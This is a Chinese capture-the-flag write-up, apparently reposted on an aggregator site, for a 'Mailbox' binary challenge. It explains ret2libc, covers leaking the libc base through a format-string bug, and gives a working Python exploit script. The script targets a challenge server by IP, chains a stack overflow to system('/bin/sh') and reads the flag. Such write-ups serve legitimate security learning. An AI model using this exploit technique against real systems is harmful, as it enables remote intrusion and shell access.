概述
Hint:
ret2libc √
题目描述:
mailbox
libc-2.19.so
题目目录下面还有另外一个flag文件:)需要拿到shell才能看得到
Writeup:
ret2libc即为return-to-libc,返回到系统库函数执行。
数据执行保护机制(Data Execution Prevention)将非代码区段设置为不可执行属性,使得系统无法执行攻击者注入的Shellcode。
利用ret2libc可使程序返回至系统库函数,系统库中有个system函数,向该函数提供参数“/bin/sh”可拿到目标服务器shell。
因此,需要利用栈溢出,用system的真实地址(libc基址+相对地址,系统库函数的相对地址可以在libc-2.19.so中找到)覆盖当前函数栈中的返回地址([ebp+0x4]),用“/bin/sh”的真实地址覆盖栈中的第二个参数([ebp+0x0C])。第一个参数([ebp+0x8])需要用exit函数的真实地址覆盖,作为system函数执行完后的返回地址。
MailBox中已经发现了栈溢出点,于是乎得到system函数和“/bin/sh”的真实地址即可拿到Shell,而这些真实地址需要通过libc的基址进行计算得到。因此,libc基址是拿到Shell的关键。
第一次接触ret2libc,对于获取libc基址没有什么思路,从两个大神的writeup中找到了获取libc基址的方法。
1、用printf_plt覆盖返回地址,用printf_got覆盖第二个参数,exit函数覆盖第一个参数,跳转至printf_plt打印printf函数的真实地址,printf的真实地址减去相对地址即为libc的基址;
2、在libc-2.19.so中找到__libc_start_main函数,该函数调用main函数,因此,调用main函数后的指令的地址即为main函数的返回地址(相对)。在main的栈中找到返回地址([ebp+4]),利用MailBox的格式化字符串漏洞打印出来,用该地址减去main函数的返回地址(相对)即为libc的基址。
libc的基址是动态变化的,每次连接服务器都会得到一个新的基址,因此,需要在一次连接中完成基址获取和栈溢出。我认为方法一更简单一些,刚开始我也是通过这种方法获取的,可是获取基址的同时已经把栈溢出用掉了。如果想要ret2libc需要再次连接利用栈溢出,可是这时libc基址早已变化了,所以只好选择方法二(方法一可能可以通过返回至函数开头解决libc基址变化问题,有时间再尝试一下)。
代码如下:
#! /usr/bin/python
from zio import *
exit_plt = 0x08048990
io = zio(('121.201.7.145',7775))
'''#注册账号
io.read_until('Quit')
io.writeline('1' )
io.read_until('Name:')
io.writeline('volvo' )
io.read_until('Pass:')
io.writeline('volvo' )
'''
io.read_until('Quit')
io.writeline('2')
#登录
io.read_until('Name:')
io.writeline('volvo')
io.read_until('pass:')
io.writeline('volvo')
io.read_until('Quit')
io.writeline('3')
#SendMail
io.read_until('To:')
io.writeline('zxczxc')
io.read_until('Title:')
title = '%e'*45 + '%x' <span style="white-space:pre"> #打印栈帧内容
io.writeline(title)
io.read_until('Body:')
base_addr = input("Input the ret_addr:") - 0x00019A83 #输入main返回地址
system_addr = base_addr + 0x00040190
binsh_addr = base_addr + 0x00160a24
body = 'a' * 51 + l32(system_addr) + l32(exit_plt) + l32(binsh_addr) #ret2libc
io.writeline(body)
io.writeline('ls')
io.writeline('cat flag')
io.interact()
最后
以上就是调皮故事为你收集整理的Mailbox(getshell) writeup —— ret2libc的利用的全部内容,希望文章能够帮你解决Mailbox(getshell) writeup —— ret2libc的利用所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复